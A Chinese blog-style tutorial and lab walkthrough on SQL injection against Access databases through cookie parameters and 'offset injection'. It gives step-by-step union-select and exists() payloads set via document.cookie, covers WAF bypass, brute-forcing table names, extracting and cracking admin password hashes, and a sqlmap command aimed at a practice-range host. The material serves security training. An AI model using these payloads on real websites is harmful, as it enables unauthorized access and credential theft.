IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Access注入 — Cookie注入+偏移注入 -> 正文阅读

[PHP知识库]Access注入 — Cookie注入+偏移注入

cookie注入

什么是cookie

  • Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。
  • 一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

什么是cookie注入

  • 在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
  • 很多开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
  • 例如:php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参
  • php 5.4及以上版本就不会接受Cookie传参了。
  • 如果说开发用了$_REQUEST[]来接受参数?然后我们的POSTGET传参被Waf拦截了怎么办?那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行传参,然后不就可以绕过检测机制!

设置cookie

  1. 使用burp抓取数据包,添加一个Cookie字段在请求头里面

在这里插入图片描述
在这里插入图片描述
注意Cookie传参值需要URL编码

  1. JS来设置cookie

在这里插入图片描述
我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了
document.cookie="id="+escape("171")或者document.cookie="id=abc",【escape()函数对字符串进行编码,这个函数会进行一次URL编码;+为拼接符】通过浏览器Document.cookie来设置Cookie

  1. 在开发者工具中的存储模块下,右键添加项目,写入cookie的名称和值。
    火狐浏览器
    在这里插入图片描述
    edge浏览器:
    在这里插入图片描述

注意

  1. 最简单的联合查询,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破。
  2. 账号密码一般在盛行Access数据库的年代,都在admin表的usernamepassword字段中。
  3. Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。
  4. 我们使用浏览器进行修改cookie来注入,在控制台修改cookie后需要在控制台点击一次回车,在页面的url处点击一次回车,总共需要点击两次,切忌刷新。
  5. access数据库没有infomation库,也没有记录表名、字段名的表等。
  6. 如果不知道表名怎么办?
    只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表 ,access数据库使用的是exists()函数,该函数用来检查子查询是否至少会返回一行书库,该子查询返回的是truefalse
  7. Cookie注入常见吗?老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参。

练习

  1. 进入把场后点击新闻动态,我们看到url中出现id=171,尝试添加and 1=2,发现提示被过滤
  2. 使用order by猜测字段数,得出字段数为10.
  3. 我们使用union select语句发现出现了报错。
  4. cookie注入的前提是access注入,而不是mysql数据库,所以即使没有过滤也不能使用以往方式进行注入。
  5. 我们用document.cookie="id=" + escape("171")来进行cookie注入,发现回显正常。
  6. 我们用document.cookie="id=" + escape("172")发现回显页面与id=171相同,说明我们这里设置的cookie并未生效。
  7. 我们发现浏览器在get传参和cookie传参同时存在时,会优先进行get传参。
  8. 要想传参生效,必须先删除url中的get传参。
  9. document.cookie="id=" + escape("171 and 1=1")页面回显正常,document.cookie="id=" + escape("171 and 1=2")回显数据库错误,这等同于第一点中的get传参语句。
  10. document.cookie="id="+escape("171 and exists (select * from admin)")回显正常。
  11. 使用burp进行表名的爆破,其中表可以从sqlmapdata文件夹下面自带的表进文件进行爆破。
  12. document.cookie="id="+escape("171 and exists (select username from admin)")回显正常
  13. 爆破admin表中的列名跟上面一样的步骤。
  14. document.cookie\="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin")access数据库不支持select 1,2,3 这样的语句,他必须要跟表名】查看回显位置。
  15. document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")得到一串字符,一般均为加密后的字符。
  16. 16位或者32位很大概率为md5加密,我们用md5解密账户admin的密码。
  17. 我们使用账号密码登录后台。

sqlmap如何跑cookie注入(不建议)

Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
还可以抓包,在Cookie后面打个*就可以了

sqlmap.py -u "http://kypt8004.ia.aqlab.cn/shownews.asp" --cookie "id=171" --level 2

偏移注入

使用场景

  • SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
  • 当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
  • Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了

常用语句

  1. select admin.* from admin = select username,password from admin => admin.*id,username,passwordadmin表中的所有字段
  2. select * from news where id = 1 union select 1,2,3,admin.*,7,8,9,10 (假设news表中有10个字段,并且6这个位置是显错位,admin表假设拥有3个字段分别是id,username,password)
select 1,2,3,4,admin.*,8,9,10  =>select 1,2,3,4,id,username,password,8,9,10 

在这里插入图片描述
在这里插入图片描述

偏移注入步骤

在这里插入图片描述

注意

  1. 前提:偏移注入要注入表的字段数,小于当前页面的字段数
  2. Access偏移注入使用场景:一些无法查询的列名,比如权限不足的知道表名却不知道字段 ,使用偏移查询主要查询字段及内容等
  3. mysql也可以使用偏移注入。
  4. access数据库里没有系统自带表,只能猜。
  5. and exist(select * from admin) 类似的盲注的语句能否使用?
    这里主要是涉及偏移注入,那一条的确是access的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注

练习

  1. 使用union select语句,document.cookie="id=" + escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")得出显错位为2和3.【只是指定了admin表,并不是当前表】
  2. document.cookie="id=" + escape("171 union select 1,admin.*,3,4,5,6,7,8,9,10 from admin")发现回显错误,因为我们并不知道admin表中有几个字段。
  3. 再次尝试document.cookie="id=" + escape("171 union select admin.*,3,4,5,6,7,8,9,10 from admin")回显错误,说明admin表中并不是有两个字段。
  4. 我们尝试到10,发现依然回显错误,说明表的字段数要大于当前页面的字段数。
  5. 我们切到产品中心页面尝试后,发现该页面存在注入问题。
  6. document.cookie="id=" + escape("105 order by 26")说明当前页面字段数为26.
  7. 使用第二步的语句,union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin查看admin表中的回显位置,发现回显位置为3、5、7、25.
  8. 使用第三步的方法,得出admin表中的字段数为16.
  9. document.cookie="id=" + escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin")得出flag在显错位25.
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 12:50:44  更:2022-02-16 12:51:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:34:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码